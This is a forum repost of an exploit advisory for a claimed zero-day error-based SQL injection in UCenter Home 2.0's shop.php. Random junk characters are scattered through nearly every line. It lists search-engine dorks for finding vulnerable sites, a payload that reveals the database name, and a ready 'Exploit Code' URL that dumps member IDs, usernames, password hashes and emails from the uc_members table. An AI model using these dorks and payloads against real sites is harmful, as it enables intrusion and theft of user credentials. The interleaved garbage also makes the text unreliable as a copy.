X3 m8 f, C+ ], {) q__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ 8 t$ S$ M6 e, E9 Z+ x; Q
1 w/ G, Q9 ?, ?2 ~6 L - d4 K0 N6 w" f/ q( j4 w' y
9 ^ Z8 Y) s( X' R* X*/ Author : KnocKout 3 v5 b# Q* |4 o, W* q
0 }4 }. K" j5 E+ S) j
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
' y+ {. K0 k# B& e2 J3 [( p F+ @3 C* _
*/ Contact: knockoutr@msn.com 7 Z7 K; ]1 g" s4 ^: N5 j
$ c6 [& _; o# g K1 ~( n! B b*/ Cyber-Warrior.org/CWKnocKout
0 D- V2 U9 u. C- ?8 h
3 Z3 `2 B! P* N% c__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
& V' |- D4 a( R9 m& q( i3 D8 X& l5 n
Script : UCenter Home
/ X: _( ~2 W7 @! k' `- ~* B
. a) ^" t( [( `) s/ Z) PVersion : 2.0 8 e9 o# P1 T) D6 Q3 Z' z: ]
2 H& v, s7 f2 n0 Y
Script HomePage : http://u.discuz.net/
0 |$ t5 R* d% d! ]! C. O; R" R- Y- Q, D; E
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== : H6 t) g/ z6 E" K2 M- e% X1 y( j
0 {: m9 f& Y0 v7 {% d4 N( ` Z
Dork : Powered by UCenter inurl:shop.php?ac=view * ^0 j5 p3 ^, c* a& U
0 u% T2 I, Z& b5 q3 B0 h1 p% ^
Dork 2 : inurl:shop.php?ac=view&shopid= 5 Q6 Q$ F }9 A6 b# f; ?$ x1 c
/ X% S( T9 e, t# h) h
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== : K! Y' I( n; @8 m
2 ?% r0 g: X% x' H# r; ~Vuln file : Shop.php . t) W! U% F1 e1 A# h
7 k8 z; b0 m' v, Nvalue's : (?)ac=view&shopid=
3 K2 {3 Q0 q* g" J& ]. g$ ?5 B
: Y/ S+ m5 J6 n3 wVulnerable Style : SQL Injection (MySQL Error Based) 1 a5 f8 Q% s3 ^& K1 ?3 L$ p
2 m, A8 Y8 S% Z* U( E2 UNeed Metarials : Hex Conversion : D$ O# z) ?) S; g, c: e/ w }0 A
+ o% y( `7 A, N1 _. v
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 6 m4 X3 k- M$ M
5 c# ]$ s; a P8 ^2 GYour Need victim Database name.
9 ^* H* k, K# Z- r# \
+ A D1 |& {& ufor Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
x, }- s( T$ p6 O' N# |
% p( ], j# S$ L* g" T: d..
6 z S7 N0 g6 {# s9 K
/ I/ q0 `, \- T$ d# rDB : Okey. % d+ q+ V% S3 q$ t$ S8 e4 ?
/ ?* {/ P( n( T& Z' m
your edit DB `[TARGET DB NAME]` - y! O$ z- A/ U9 N9 \+ K. U
v: Q3 h; N8 { e7 H: k% O
Example : 'hiwir1_ucenter'
4 j! T. i2 y9 y( A( M+ s" C) z0 `7 t4 ?$ F: n' H( ~
Edit : Okey. & H. J; `9 t8 X' j P _, y' y( l
: G( q6 {+ W/ o" yYour use Hex conversion. And edit Your SQL Injection Exploit.. / j. z z9 G6 I4 r
1 S% j! f2 R% F* q% m0 K6 s9 E, h ) q- W, [# Y/ I" P) t8 N$ |+ W1 C7 ^
! L- y2 e. n- LExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
) t, |) s1 v( z: Y& V9 h: A$ A |
发表于 2013-2-27 21:31:31
收藏
支持
反对